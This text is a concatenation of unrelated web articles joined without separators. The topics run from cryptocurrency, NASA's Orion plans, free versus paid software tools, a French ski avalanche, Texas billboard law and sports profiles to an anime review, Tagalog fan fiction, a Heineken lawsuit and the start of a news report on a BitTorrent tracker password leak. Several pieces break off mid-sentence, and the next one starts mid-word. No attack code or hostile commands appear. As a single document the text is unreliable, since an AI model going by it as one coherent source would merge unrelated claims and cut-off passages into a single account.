Where the users know at a gut level what it means to say that something costs (for example) 100 Bitcoin, the way an American knows what it means when something costs $100. Until then, cryptocurrencies will always be secondary at best, somewhat more fungible than gold coins from World of Warcraft. And that points to what may be the source of my continued skepticism about the current generation of cryptocurrencies: advocates have embraced the argument that all money is imaginary, that the vast majority of transactions now are digital, and that we now live in a globalized market, but have neglected the corresponding social and political grounding that makes this digital decentralization viable.Skidelsky et al just cannot get away from the idea that "infrastructure" is "good". Somehow the politicians are best judges of productive investment. Never mind that the EZ collapse is littered with unproductive infrastructure, nor that Japan and China are suffering from the same disease.
Most development/infrastructure banks have a lousy record. They favor the establishment, are influenced by politicians into backing silly projects, and the good projects could have been financed anyway.
Skidelsky never stops to ask if we may have entered a very different economic world where simply borrowing to restart growth is not a long term plan. Simply changing the funding mechanism doesn't change anything - just putting lipstick on the pig. As for redirecting tax benefits to support infrastructure, that is a tax increase. Far better would be to remove those tax benefits and subsidies, lower tax rates and continue to pressure for higher wages as well as plan for the future by making people save for their retirement.
PS. UK governments spent 30 years trying to boost the North with infrastructure and NIB style lending. The result was an even worse mess than might have emerged from a moderate policy of help to adjust. As for infrastructure what exactly does he have in mind? Where is the glaring deficit? It would be nice to HS3 built sooner but beyond that? (Corbyn hasnt been a loud support of HS2 which is a necessary precursor).The space agencies are about to reveal more about their collaboration to send astronauts beyond Earth's orbit. But will the Orion missions be inspirational enough for their critics? Watch the Nasa press conference at the foot of this post from 16:30 GMT (17:30 CET or 10:30 CST)
It is now more than 40 years since a human ventured beyond Earth orbit. The last three astronauts to slip our world's gravitational tethers were those on Apollo 17. They crossed 385,000 kilometres of space to land on the moon and then returned to splashdown in the Pacific on 19 December 1972.
Since then, no human has been higher than about 600 kilometres above Earth's surface. Now it is time to reach out again.
Today's announcement will put meat on the bones of an agreement reached between the European Space Agency and Nasa in Italy late last year. It will explain how Esa will adapt their unmanned cargo vessel, known as the Automated Transfer Vehicle (ATV), to propel a crew compartment being built by Nasa. The gestalt spacecraft is called Orion and will carry astronauts into deep space.
Current plans call for Orion to perform its first mission in 2017. This will be an unmanned, single flyby of the moon, followed by a return to Earth.
Having broken free of Earth's gravity, the spacecraft will hit our atmosphere on its return considerably faster than objects from Earth orbit. Whereas a space shuttle's re-entry velocity was around 7.7 km/s, Orion will travel almost one and a half times faster at 11 km/s. Hence, it will require better heat shielding than the Space Shuttle.
Four astronauts are expected to fly on the Orion capsule's following mission, pencilled in for 2021. This mission could be to orbit the moon for 3-4 days. But this vague plan has attracted criticism for being too cautious.
Richard Kours warned on 8 March 2012 at the public meeting of the Nasa Advisory Council that the mission needed objectives that are "consistent with the cost and the risks involved". Otherwise, "Nasa leaves itself open to public criticism and loss of Congressional support."
A growing lobby of academics, engineers and industrial partners seems to agree.
Jack Burns from Nasa's Lunar Science Institute in Moffett Field, California, and collaborators published a study and an article last year urging that the Orion spacecraft be used for a mission to a gravitational sweet spot known as a Lagrangian point 65,000 kilometres beyond the far side of the moon.
From such a vantage point, astronauts would be able to control rovers on the lunar surface and help deploy a radio telescope to see into the furthest reaches of space that are impossible to glimpse from Earth.
Lockheed Martin, which built the shield that protected Nasa's Curiosity rover during its descent through the Martian atmosphere last August, have been pushing Nasa for a mission of this kind since at least 2010.
They may be having some success. The Orlando Sentinel has reported seeing papers that make it clear some sort of lunar far side mission is "a leading candidate for the agency's next major mission".
It all points to exciting times ahead but it is unclear how much clarification we will get today about Orion's eventual manned missions. Nasa is treading carefully. The announcement of the briefing was conservatively titled, "Nasa, Esa Hold Jan 16 Nasa TV Briefing on New Orion Agreement".
The Esa version, issued almost a week later, is somewhat more provocative, claiming: "Nasa and Esa to announce new collaboration to send astronauts beyond Earth orbit".
This newly found caution may not be a bad thing. Nasa has made bold statements before about sending astronauts to Mars only to have them collapse under cost considerations. So the current understated path may indeed be what is needed in today's fiscal climate. Having said that, let us hope for solid, inspiring news later today.
You can watch the press conference on Nasa TV here or in the viewer above. It takes place on 16 January 2013 at 16:30 GMT (17:30 CET or 10:30 CST).
Stuart Clark is the author of The Day Without Yesterday (Polygon)Whenever the regular expression topic comes up, I unashamedly recommend the best tool on the market for parsing and building regular expressions -- RegexBuddy. But there's one tiny problem.
RegexBuddy costs money.
I've always encountered vague resistance when recommending commercial tools that I considered best of breed. The source of that resistance was spelled out for me by Henrik Sarvell in this comment he left on Rob Conery's blog:
Yes, I also have to brush up on the regex from time to time. We don't use software that costs money here, and last time I checked regexbuddy wasn't free.
People usually don't state their preferences this boldly. I, for one, applaud the honesty.
I've recommend Beyond Compare before; it's a fantastic file and directory comparison tool. It's not expensive, but it's not free, either. Which means many programmers I recommend it to will beg off and go install the free WinMerge comparison tool instead.
It's tempting to ascribe this to the "cult of no-pay", programmers and users who simply won't pay for software no matter how good it is, or how inexpensive it may be. These people used to be called pirates. Now they're open source enthusiasts.
( Update: This paragraph was intended to be tongue in cheek, but has been widely misinterpreted. Dan summarized my opinion in the comments: "in the past, if someone told you they used software and didn't pay for it, the only plausible interpretation was that they were a pirate, because all good PC software cost money. Now there's also good software available for free, so that assumption is no longer correct.")
But there's something else going on here, too: the free software alternatives keep getting better every year. Consider how immature Linux development tools were in 2000 compared to what's available today: Eclipse, Subversion, MySQL, Firefox. These tools either didn't exist, or have come astounding distances in closing the gap between their commercial counterparts in eight years.
PHP was dangerously close to a joke language in 2000, but you can barely go anywhere on the web today without running into something huge built on PHP. I could say the same thing about MySQL -- a toy database in 2000, but a totally credible free alternative to Oracle and SQL Server today for most uses. The competitive pressure of free products on commercial tools intensifies every year. It's relentless. And to be honest, I feel many of the commercial alternatives aren't evolving fast enough to stay ahead of their free competition.
The onus is on the commercial tool vendors to prove that they provide enough value to warrant spending money. In the case of Beyond Compare, the vendor has taken so long to ship version 3.x of their software that some of the free comparison tools have matched and even exceeded its feature set in the meantime -- as you can see in this amusingly titled comparison of file comparison tools. Resting on their laurels is a luxury they no longer have.
It's entirely possible for commercial development tools to survive alongside the strong, vibrant -- and now firmly established -- ecosystem of free tools. But it won't be easy, as Steven Frank points out in The First, The Free, and The Best:
A free program need not be glamorous or even completely bug-free. It can garner a respectable following simply by not costing anything. I've seen many times people struggle and struggle on with a clunky freeware app just because they're not willing to pay $20 for a significantly better alternative. There's nothing wrong with that particular brand of masochism. People prioritize differently, and money is more valuable than time to a whole lot of people. It's Capitalism in action. The people who are most tenacious about exclusively using freeware whenever possible are usually incredulous that anyone would buy a commercial product when a free alternative is available. I've heard many times, "how can you guys make a living when free command line file transfer clients are included with the OS?"
Beyond Compare was the best compare tool by far in 2005 -- an easy justification for spending thirty bucks on a compare tool. But no longer. They have to claw their way back to the top and become the best again in the face of endless free competition.
If you're neither first nor free, there is still a way to carve out a niche for yourself: have a better application than everyone else. Quality is the third leg of the axis. A free app may not be worth what you paid if it doesn't work right, or works so clumsily that you have to re-read the help file every time you use it. The first app may be OK, but resting on its laurels of first-ness and not moving forward.
This phenomenon isn't limited to development software, although I think it's particularly vicious there due to the peculiarities of the audience: the type of people who would buy development tools are also exactly the same people who could potentially build them.
You may wonder how anything survives online in the face of free competition. Don MacAskill of SmugMug -- a pay photo sharing website -- offers this advice:
It turns out that people are happy to pay [for web photo sharing], and have been happy to pay for the last four years. The reason is that our pay service eliminates a lot of the baggage and a lot of headaches that at least some percentage of the population doesn't want. Quite of a few of the big brands have shut their free sites down. They shut them down without notice. It turns out that it's sort of like a death spiral. When you offer accounts for free, some garbage comes in with the good stuff. People will upload porn or whatever. So you end up hiring people to work at your company to filter out the bad stuff. I know Photobucket and Webshots and some of the other guys have an entire room full of people who, all they do all day is watch the photos that are coming in and say yes or no, this photo is OK or not. But inevitably, some of the junk slips through, and then the people who are using your service who don't have any junk see their photos side by side with the junk, and get up set and leave. Or even worse yet, some of your advertisers (because if you're free you're likely ad supported) see their ad right next to something disgusting or that damages their brand or something like that. So they bail. So eventually, your customers and your advertisers tend to run away screaming. Or you're left with a demographic which isn't a very important demographic for advertisers, or who wouldn't be likely to upgrade. So it gets kind of nasty.
I knew Don from his days in the gaming industry at Ritual Entertainment. I finally got to meet him at last year's MIX conference, and I thoroughly enjoy reading his blog. It's a case study in how you can beat 'free' by understanding the weaknesses of your free competition.
It won't be easy for commercial software or subscription websites. If past history is any indication, beating the free alternatives is going to get progressively more difficult every year. Kevin Kelly offers eight generative qualities that are better than free. I'm not sure it has to be that complicated. Free is indeed a competitive advantage. But free is also a weakness: it is cheap, mass-produced, and the same for everyone. Don and Steven make a compelling argument that some people are willing to pay for a premium experience.
So the salient question, then, is this: do you understand what it takes to build the premium experience that trumps your free competition? And can you deliver it?Ghibli Time! Come on, grab your friends, we'll go to a very distant land with Cake the Catbus and Fiona the human, the fun will never end, it's Ghibli Time!
An awesome artist who just goes by David on his Tumblr has been creating these incredible crossovers of Studio Ghibli movies with the beloved TV show Adventure Time. This. Is. My. Jam. As readers of the site know, I totally love Studio Ghibli movies, and in case anyone wouldn't have guessed, I also adore Pendleton Ward's Adventure Time. David's mashups are so spot on, if anything I just wish that there were more!
Check out more adorable Ghibli + Adventure Time crossovers on David's site!
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Click to open photo gallery:Media playback is unsupported on your device Media caption BBC producer Sally Graham: "It was a massive rescue operation"
A French teacher is under investigation for manslaughter after he apparently led schoolchildren onto a closed ski run shortly before a deadly avalanche.
Police are waiting to take the teacher into custody. He was seriously injured in the disaster and remains in hospital.
Two pupils and a Ukrainian tourist were killed when the avalanche struck in the Les Deux Alpes on Wednesday.
Warnings were in place after heavy snow in recent days.
The two students who died were a boy of 14 and a 16-year-old girl from Saint-Exupery high school in Lyon.
The Ukrainian man who was killed was not part of the school group.
"We have to interview the hospitalised teacher as soon as we can," Grenoble prosecutor Jean-Yves Coquillat told reporters on Thursday.
"The question is: Why were they skiing on a closed piste?"
Image copyright Gérard Fourgeaud © Radio France Image caption Helicopters and rescue dogs rushed to the scene
A huge rescue operation was launched after the avalanche struck the group of 10 teenagers, their teacher and the Ukrainian, 57, on the Bellecombe piste at about 15:45 local time (14:45 GMT) on Wednesday.
The piste, which has the most difficult black rating, had been closed since the beginning of the ski season because of a lack of snow, a manager at Les Deux Alpes told local media.
Following large quantities of snow, the avalanche risk level was raised to three on a scale of five.
Officials said the danger had been well signposted on the piste, with netting blocking the top. The run is said to be situated on a particularly icy north-facing side of mountain.
But the teacher and students appear to have deliberately gone past the signs and started skiing downhill, Mr Coquillat said.
A group of people skiing above the school party on the mountain may have triggered the avalanche, he added.
Image copyright AFP Image caption Najat Vallaud-Belkacem, visiting Saint-Exupery High School, called for the privacy of victims' families to be respected during their time of mourning
Earlier French Education Minister Najat Vallaud-Belkacem promised the investigation would "throw all light" on the circumstances of the tragedy.
Visiting the students' school, the minister expressed her condolences to the victims' families and urged their peers to "stay strong".
As well as the three who died, two other pupils were found injured and the teacher was unconscious after suffering multiple broken bones.
The teacher remains seriously ill in hospital but all other members of the party are now "safe and sound", according to the French interior ministry (in French).
Students and their families lit candles and laid tributes as remaining members of the ski party returned to the school in Lyon on Wednesday evening.
French President Francois Hollande offered "sincere condolences" to the victims' families and said "the solidarity of the whole nation" was with them.
Four other people - two Lithuanians, a Spaniard and a Czech - have died since the New Year in avalanches in the French Alps, AFP reports.
The regional government has urged skiers and other mountain users to take extra care and stay on marked pistes.In the wake of a multi-year legal tiff between TxDOT and an Austin-based real estate company over a freestanding Ron Paul 2012 sign outside of an erotica shop on Hwy. 71, a district appeals court has just struck down central parts of the Texas Highway Beautification Act, Dug Begley reports today. The ruling may have eventual implications for city makeover enthusiast Scenic Houston’s long-term de-billboarding quest, and comes right on the heels of the announcement last week that an additional 13 signs around Houston would be coming down.
***
The law in question, passed in 1972, lets TxDOT regulate advertising signage outside of city limits, with an exception allowing election-related political signs within a certain 80-day period prior to those elections (the Ron Paul sign was about a year early). The court found that the exception qualified as discrimination based on sign message content, a red flag in First Amendment speech cases — but rather than strike down the small section of the law giving special treatment to political signs, as TxDOT’s lawyers suggested, the Third District court took down the parts of the law giving TxDOT any authority to regulate ad signage at all
Scenic Houston’s count of billboards negotiated away since 2015 is now up to 68 — will the fallout from this ruling cause that trend to reverse? And could the case signal room for the eventual comeback of the inflatable gorilla to the Houston landscape?
Photo of signage in Gulfgate: Jan Buchholtz via Swamplot Flickr Pool
Signs of the TimesWhether it's the mere fact that he left or it's the manner in which he left Long Island for his hometown, Islanders fans have been worked up about former captain John Tavares' departure since he tweeted a childhood photo of himself in Maple Leafs pajamas on July 1.
So it'd be no surprise if Isles fans showered Tavares with boos on Thursday when Tavares returns to Nassau Coliseum for the first time since leaving. Isles GM Lou Lamoriello hopes it doesn't go down that way.
"I've heard all about the animosity towards John. He's a tremendous human being and gave tremendous years to the Islanders and a commitment as their captain," Lamoriello, who was Toronto's GM the previous three seasons, said Tuesday on WFAN. "I hope that he gets the right reception and is complimented by the crowd for what he did while he was here. He had every right to make the decision that he did to go and to go into free agency and I respect that."Zond 7, a formal member of the Soviet Zond program and unmanned version of Soyuz 7K-L1 manned moon-flyby spacecraft, the first truly successful test of L1, was launched towards the Moon from a mother spacecraft (69-067B) on a mission of further studies of the Moon and circumlunar space, to obtain color photography of Earth and the Moon from varying distances, and to flight test the spacecraft systems. Earth photos were obtained on August 9, 1969. On August 11, 1969, the spacecraft flew past the Moon at a distance of 1984.6 km and conducted two picture taking sessions. Zond 7 reentered Earth's atmosphere on August 14, 1969, and achieved a soft landing in a preset region south of Kustanai, Kazakhstan.
Like other Zond circumlunar craft, Zond 7 used a relatively uncommon technique called skip reentry to shed velocity upon returning to Earth. Of all circumlunar Zond craft launches, Zond 7 would have been the first to make a safe flight for a crew had it been manned.
The return capsule is on display at the Orevo Facility of Bauman University in Dmitrov, Russia.
Notes [ edit ]
This article was originally based on material from NASA (NSSDC) information on Zond 7GOODYEAR, Ariz. — Corey Kluber doesn’t really care what you think of the Cleveland Indians’ pitching staff heading into 2016. The 2014 AL Cy Young Award Winner, coming off a 2015 season that saw him finish with a disappointing 9-16 record despite excellent peripheral stats, told USA TODAY Sports on Wednesday that he’s not worried at all about the outside perception of his club’s rotation.
“I don’t think we’re concerned with where people rank us as a staff,” he said. “Our only goal is to go out there and win ballgames. Whether people expect that of us or not, that’s going to be our goal.”
That makes sense. Like Kluber suggested, his job is to pitch, and he’ll pitch his best regardless of how well anyone expects him to pitch. About that, though: Baseball’s most advanced projection systems are extremely bullish on the Indians in 2016. Baseball Prospectus’ PECOTA forecasts a 93-win season for the club — the best in the American League and 11 games ahead of the second-best team in the American League Central. And Dan Szymborski’s ZiPS projects Kluber and teammate Carlos Carrasco to be the fourth and sixth most valuable pitchers in the Majors, respectively, ahead of more heralded front-end pitching duos like the Cubs’ Jake Arrieta and Jon Lester and the Mets’ Matt Harvey and Jacob deGrom.
To fans in Cleveland and all those who vigilantly check preseason projections at advanced stats sites, hearing that the Indians’ pitching looks excellent might not raise many eyebrows. But the Indians finished with a pedestrian 81 wins last season, and to the majority of those who follow the sport, their rotation might represent baseball’s best-kept secret. People know Kluber, of course, from that Cy Young season. But Cleveland can boast a strong staff behind him, one that looks apt to carry the team to contention this year and beyond: Carrasco has been excellent since joining the rotation for good in late 2014, 26-year-old righty Danny Salazar enjoyed a breakout year of his own in his first full Major League season in 2015, and 25-year-old righty Trevor Bauer offers tantalizing upside with a floor as a solid but unspectacular back-end starter.
Asked how he thought his rotation stacked up to the rest of the league, manager Terry Francona resisted making bold predictions and pointed out the relatively short resumes of the pitchers on his staff.
“We really like our pitching,” he said. “The one difference, when you start talking about stacking up, the one thing they haven’t done is do it year after year after year. Kluber’s won a Cy Young, which is pretty impressive, but I don’t think you start saying things because it hasn’t happened. But that doesn’t mean we don’t really like them.”
That Kluber and Carrasco, especially, should now appear so thoroughly dominant so soon after emerging as full-time big-leaguers is part of what makes the Indians unusual. They both throw mid-90s fastballs with filthy secondary offerings, so neither looks like a pitcher who needed to figure out how to work with short stuff. But neither exactly blazed his way into the Majors at a young age.
The 29-year-old Kluber, whose Cy Young came in his first full season in a big-league rotation, joined the Indians from the Padres in the three-way deal that put Jake Westbrook on the Cardinals in 2010 and yielded a 4.69 ERA over parts of four seasons in Class AAA ball. Here’s a look at his curveball, from PitcherList.com:
His ascendence to stardom reflects, in part, the Indians’ patience with his development. But Francona suggested the club knew it was coming.
“We try to do our best as coaches and as an organization, but the player has to do it,” Francona said. “With Corey, his work ethic is solid, and everything about him — his routines — put him in position to have success. And it didn’t really surprise us that he did so well.”
Carrasco’s rise was a bit more complicated. A key piece of the 2009 deadline deal that sent Cliff Lee to the Phillies, Carrasco joined the Indians with a big prospect pedigree but struggled in every big-league turn until 2014. Now 28, he opened the 2014 campaign in Cleveland’s rotation but struggled again, and spent much of that season working out of the bullpen and refining his mechanics. He returned to the starting staff in mid-August of that year and has pitched great ever since.
“Carrasco’s a little bit of a different story,” Francona said. “He desperately wanted to be a starter, took some steps backwards, went to the bullpen, and earned his way back into the rotation, which I think is far more meaningful than somebody handing it to you. And along with that, you’ve seen him start to understand the responsibility that comes with it. And it’s fun to watch him grow like that.
“I get asked a lot, ‘Are you being too patient sometimes?’ Maybe, but if you’re not, and you let somebody go, you’ve got a chance to miss out on somebody. The way pitching is — you’ve seen what guys are paying for it — because we were patient with Carlos, now we’ve got a starter that slots in behind Kluber that’s probably top 10 in the league, depending on what you look at. Big, strong, durable, he’s got all the pitches, he’s built for innings. There’s a lot to like about him.”
Check out Carrasco’s changeup, also from PitcherList.com:
“I think it says something that the organization doesn’t bail on guys if things don’t go exactly how they planned,” Kluber said. “Both of us probably established ourselves at a little later age than maybe they would have liked, but I think it speaks to their patience — not just jumping ship right away.”
Salazar, at 26, now looks primed to join Kluber and Carrasco in a terrific trio at the front of Cleveland’s rotation. The hardest thrower of the group with an average fastball just shy of 95 mph, Salazar debuted in 2013 and pitched so well down the stretch that he got the start for the Indians in the Wild Card game that year. But he struggled to start the 2014 season and found himself demoted by mid May. He rejoined the rotation for good in August and enjoyed a breakout season of his own in 2015, which saw him yield a 3.45 ERA and strike out more than a batter an inning over 30 starts.
Bauer, the youngest of the group at 25, hasn’t yet seen the type of results to match the prospect reputation he owned when he joined the club in an offseason trade in December, 2012. But Bauer, despite high walk rates to date in his big-league career, maintains strong upside thanks to a fastball that has averaged 93.2 mph in his career and one of the Majors’ broadest arrays of secondary stuff. And Francona believes the patience the organization showed with Kluber and Carrasco could pay off again.
“The easy thing to do at times is to get frustrated,” Francona said. “The harder thing to do is to say,
‘OK, we certainly want to win every game we play, but we also know — if we do things right and he does things right — what could happen. So you balance that, and sometimes it’s a tough balance. I get it. But I think if you’re impatient too often, you’re going to lose out.”
Perhaps most promising of all for the Indians: Both Carrasco and Kluber are signed to team-friendly deals that could keep them in Cleveland for years to come — Carrasco until 2020, Kluber until 2021 — and both Bauer and Salazar will remain in team control through arbitration until after the 2020 season.
Baseball being baseball, it’s silly to predict dynastic success for any club, no less one coming off an 81-win season. But with a foursome of excellent or at least very promising pitchers in their rotation for the next five |
ager has had just the worst week, and it's about damn time he can start making sense of it.
Still, I was just a bit worried about this entry, precisely because this entire episode is devoted to that conversation between our hero and his friends-turned-Titans-turned-captors (outside of a few minutes setting up the Scouts' rescue mission). Attack on Titan does a lot of things really well, but extended conversations have never really been its strongest suit. This series is so much about mood, tone, and the visceral bombast of combat – it communicates its themes through bloodshed and the traumatized stoicism that overcomes a soldier in the face of unknowable terror. This season especially has been filled with some of the most impactful, terrifying, and memorable sequences I've seen in years from anime, but I don't think many of them required words.
Dialogue in AoT has always been tackled with a “function-over-form” mentality, which isn't necessarily a criticism. When characters have information to share, they share it bluntly. When they're angry, they scream and shout and spit violently into the uncaring void of the world. Heck, when they express love or support for one another, they also scream and shout and spit violently into the uncaring void of the world. Sorrow, grief, fear, and confusion equally evoke their fair share of histrionics. In Sasha's case, anything involving food is equally likely to involve some guttural yawp. Attack on Titan is melodrama writ large enough to suit a world inhabited by gargantuan man-eating monsters with psychotic grins plastered on their faces. So it's not a show that's ever really needed nuance or graceful dialogue, content to get by on its more bombastic merits.
This episode was a little different, though. It doesn't have the benefit of shocking imagery to bolster its storytelling, and there isn't a gorgeously animated battle to fill the runtime. Most of the direction this week is pretty tame, consisting almost entirely of shots cutting back and forth between the Titans (Reiner and Bertholdt) and their captives (Ymir and Eren). The closest thing we got to interesting visuals this week were the many different shots of Eren looking completely fed up with his life. Maybe it's the fact that his face and stumpy arms still bear the scars of his recent battles, but I don't know if I've ever seen a character look so utterly baffled by his own circumstances. Eren does a lot of yelling and raging this week, but none of those exchanges work as well as the handful of shots that show just how broken our hero is becoming.
Though Eren is a littler under-served this week, Reiner, Bertholdt, and Ymir are able to keep the conversation going more effectively than I anticipated. This mostly comes from their distinctive character dynamics, which even Eren's limited emotional reactions can contribute to. Contrasting our hero's single-minded pursuit of vengeance and justice is Bertholdt's surprisingly reserved presence, and what little he does reveal shows a man who might feel remorse for his actions, but he's equally determined to finish what he started. Meanwhile, Ymir knows little about the affairs of these men, or at least seems to know little, and whatever her differing origins are, it's obvious that she cares about reuniting with Christa and little else. The opposing goals of these three give us a conflict we haven't seen much of yet in this show, a battle of wits and wills that cannot be solved with immediate action or violence. Eren and Ymir are too weak yet to transform, and the swiftly setting sun presents a ticking clock for the rest of the Scouts as well. While I have no doubt that the omni-directional gear will get busted out sooner rather than later, I will admit that this digression into a more verbal kind of warfare was much less clunky than I feared it would be.
It also helps that Reiner's story got complicated in a delightfully weird way, providing easily the most interesting part of the episode. I will admit that the moment was slightly spoiled for me by Twitter, where I had seen conversations regarding there being “two Reiners”, but I took that much more literally than what actually occurred here. Instead of the Titan Reiner being some kind of imposter that replaced another human Reiner in the cadet corps, what we got instead was one man whose dedication to two competing causes forced his personality to split. Though it has been hinted at a little over the past few weeks, we get to bear full witness to Reiner oscillating between the dedicated defender of humanity that he was pretending to be and the deeply conflicted and guilt-ridden traitor that he truly is. Eren's incredulity at the whole situation further sells the ridiculousness of this twist, but given the heightened level of reality AoT operates at, I actually bought it. Is it kind of silly? Sure, but that doesn't prevent us from feeling the gravity it has on Reiner's character, which is all that really matters. In a way, this is what Attack on Titan has always done best. It takes a deeply bizarre and fundamentally silly premise and, through sheer force of spectacle and will, manages to warp it into something more affecting and human.
Like last week, this episode was mostly setup for the showdown that will come when the Scouts and the traitorous Titans finally clash. Outside of clarifying these four soldier's mental states, we don't really learn much that we didn't already know. Still, when it's operating at Peak Insanity, Attack on Titan has a way of making the most out of even the slightest bit of development. Even a B-level episode like this shows just how great this second season has been. If nothing else, I'm very excited to see what new levels of madness and excitement the last few episodes of the season are prepared to deliver.
Rating: B
Attack on Titan is currently streaming on Crunchyroll and Funimation.
James is an English teacher who has loved anime his entire life, and he spends way too much time on Twitter and his blog.Divina stood behind the living room window as she stared at Alden for the longest time. It was hard to see him through the vines that crawled up the walls and the moon as the only light outside, but she did. It was selfish, she realized, to have him stand there and wait when she could’ve just opened the door right when he called.
“Divina!” he said, making her heart skip a beat as her eyes went directly to the door. “Divina,” he called out again. “Alam kong naririnig mo ko, kaya please, lumabas ka na. Please. Magusap tayo!”
“Yaya, sino ba yang nasa labas? Gabi na!” she heard lola Tinidora say from her room. “Ang aga-aga magcaroling. Sabihin mo patawad! Sabihin mo na may mansyon nga tayo pero nakasangla!”
“Opo, lola!” Closing her eyes, Divina drew in a deep breath to calm down the nerves that wracked her body. Kaya ko ba to? she thought to herself as she moved one foot in front of the other and crossed the small distance to the door.
“Divi — ”
“Tulog na si lola, Alden,” she said as she stepped out the door, hoping and praying that she looked calm despite the fact that she felt like her heart was going to beat itself right out of her chest any second. ”Anong ginagawa mo dito?”
“Anong ginagawa ko dito?” He asked, stunned. So much so that all he could do was shake his head as he threw his hands up in the air. “Seryoso ka ba? Pumunta ako dahil gusto kitang tanungin kung anong nangyari sa pagiging team? Ano ibabale wala mo nalang ang lahat ng ganon ganon?”
“Alden — ”
“Divina, wait. Ngayon lang. Please. Patapusin mo muna ako,” he said, cutting her off as looked off to the side before bringing his attention back to her. His chest rose with the jagged breaths he took, his eyes darting in between hers as he tried to figure out what exactly was going through her mind. “Ikaw at ako, naalala mo pa ba yun? Tayong dalawa diba?”
She nodded.
“Kung naalala mo, bakit ganun lang kadali sayo na iwanan ako?”
“Dahil iniwanan mo na rin ako noon,” she immediately said, her chest rising and falling as her eyes met his. “Noong halos ayaw ni lola lumabas dati dahil akala niya kukunin ako ni Isadora. Noong nalaman ko na namatay si nanay dahil sa akin.” Furrowing her brow, she looked past his shoulders and towards the trees behind him for a minute to compose herself, her eyes glazing over with tears before she found it in her to bring her attention back to him. “Noong halos hindi ko na makilala sarili ko dahil yung alam ko tungkol sa pagkabata ko, hindi pala totoo.”
“Divina,” Alden said, frowning as he let what she just told him settle.
She was quiet for a moment. Her thoughts blank. She watched as he tried to say something but couldn’t, watched as his eyes slowly softened and stared back at hers with a type of sadness that made her chest tighten.
She wondered if he saw the same in hers too.
“Nasaan ka noon, Alden?” she asked as her eyes searched his face for something. Anything! “Oo, alam kong madami kang ginawa para sa atin dalawa, pero nung oras na talagang kinailangan kita, nasaan ka?”
“I’m sorry,” he replied as he took a step forward. She stepped back. Letting out a sigh, Alden ran his fingers through his hair, his shoulders slumped as he tilted his head to the side to look at her. “I’m sorry na wala ako dun para sayo nung time na yun. Pero, Divina, hindi ko naman kayang hatiin sarili ko. Hindi naman pwede na araw-araw nandito ako.”
“Alam ko naman yun eh,” she answered as she bitterly wiped the tears that fell on her face. “Kaya nga inuunahan na kita kasi narealize ko na may mga bagay talaga na dapat munang i-una.”
“Hindi ko — I don’t know where you’re going with this,” Alden said, confusion written all over his face as he tried to grasp on whatever he could to save something that seemed to drift further and further away. “Tungkol ba to sa kasal? Kasi kung tungkol to sa kasal, Divina, lumalaban naman ak — “
“Alden, hindi,” she sighed. “Look me in the eyes and tell me that if you were in my shoes, kapag nakikita mo na ako na yung nahihirapan dahil ipit na ipit na ako sa sitwasyon ko — kung yung lola ko, o ikaw ang pipiliin ko — hindi mo ba gagawin yung ginagawa ko ngayon? Lalo na kung alam mo na mas magiging okay na ang lahat dahil at least, nabawasan na problema ko?”
He turned to face Divina, his eyes locked into hers as she waited for him answer to her question. He wanted to say he wouldn’t, wanted to say that if he did have to choose between his or her happiness he’d choose his. But he knew better.
And she did too.
“Sasabihin ko kay lola na wag niya akong i-expect sa Sabado. Kakausapin ko ulit si Cindy. Si Frankie naman mukh — “
“Alden.”
“Ano?!” Panic rose up from Alden’s feet, his breaths coming in and out in spurts as he looked at everywhere and nowhere all at the same time. “Lahat naman ginagawa ko na ah,” he said, his voice coming down to a whisper as he bit back his tears.
Closing the gap between them, Divina wrapped her arms around him and held him, pulling herself as close as she could to him.
“Hindi,” Alden said, his voice cracking as he buried his head at the crook of her neck. “Ayoko.”"Heineken USA holds the safety and integrity of the products we import to the highest standards. We have investigated this isolated claim and based on a number of factors, we confidently believe there is no merit to this claim."
A Fountain Valley man is suing Heineken, claiming he found dead geckos in his can of brew. Now, the beer company is firing back.George Toubbeh claims he found two dead geckos in his can of beer. However, Heineken said it has investigated and believes there is no merit to the claim.Toubbeh said he noticed a foul taste while drinking the 24-ounce beer in 2015 and became violently ill."I'm not feeling well. I'm not feeling well because there's too much pain in my stomach. All of the sudden I start to throw up, I went to the bathroom right away," he said.He said he felt intense stomach pain and collapsed. His daughter found the dead leopard geckos in the can.Toubbeh was rushed to the hospital, and he said for three months he battled with physical and psychological problems."When that can left Heineken, it was delivered to Ralph's, it was already adulterated. It wasn't fit for human consumption," attorney John Montevideo said.Toubbeh and his attorney filed the lawsuit against the company and Kroger, which owns the Ralph's where the beer was purchased. The lawsuit claims negligence and states the law firm had its own scientific tests done.Heineken issued the following statement in response to the suit.His lawyer said his office has done its own independent investigation and is confident the claim is credible.The lawsuit seeks an undisclosed amount of damages.Jenson Button says drivers should stop complaining about the sound and style of F1 in 2014, saying winning is all that matters.
Following the first race of the season in Australia, drivers have often been asked for their opinions on the sound of the 2014 engines and the style of racing this year. Sebastian Vettel described the sound as "sh*t", but - while not directly referencing Vettel's comments - Button says drivers should ultimately have no complaints about the cars they are driving.
Asked for his opinion on the new style of F1 following criticism from some drivers, Button replied: "Go and race something else if you're not happy!
"As drivers we don't have an opinion where the cars are in terms of sound and feel. But when you cross the finish line first you've won a grand prix, so you don't care what the car sounds like or what it looks like. You've beaten the best in the world, and that's all you care about."
With McLaren starting the season with a double podium having failed to score a single one in 2013, Button admitted there had been cause for celebration that was tempered by the gap to Mercedes.
"[The feeling is] a bit of both really. Leading the constructors' at the first race doesn't really mean a lot for a Formula One team, but for us after last year it's just nice to know we got both cars to the end of the race and finishing second and third. So I think we should be happy with that. Outright pace, no, we're not there yet; Mercedes is a good chunk in front of everyone which is very impressive because everyone else seems to be reasonably close.
"We've got a few little things here in terms of upgrades so hopefully that will bring us close to Mercedes but it's not going to be enough in terms of pace. The only thing you can hope for really here is going to be reliability issues; it's super-hot, it's a tough circuit on the car so you'd say we're fighting for a podium really. And then you never know what is going to happen to Mercedes, they might have reliability issues and we can get a better result than that."
Button confirmed McLaren will have a number of updates in Malaysia and said the target has to be another podium finish if they all work as expected.
"You'd say it was a bit more difficult here because of the layout of the circuit but with the upgrades that we have I think we have to be fighting for the podium here. The Williams is a good car and I don't think they really got the most out of themselves at the last race, and I'm sure that the Ferrari will be a bit more competitive. At times during the [Australian] race they looked good, but at other times they didn't, so I don't know if it's a fuel-saving issue they have or what."In an unprecedented data breach, tens of thousands of usernames and passwords from large private BitTorrent tracker RevTT have been leaked onto the Internet. The attackers, who call themselves Afghanistan Hackers, leaked the user/pass combinations via The Pirate Bay. The initial response from RevTT was to censor all discussion of the data breach, even as hundreds - possibly thousands - of accounts were being used without their owners' permission.
Late Tuesday evening European time, an individual set out to share information with the world that he appears to have had in his possession for some time.
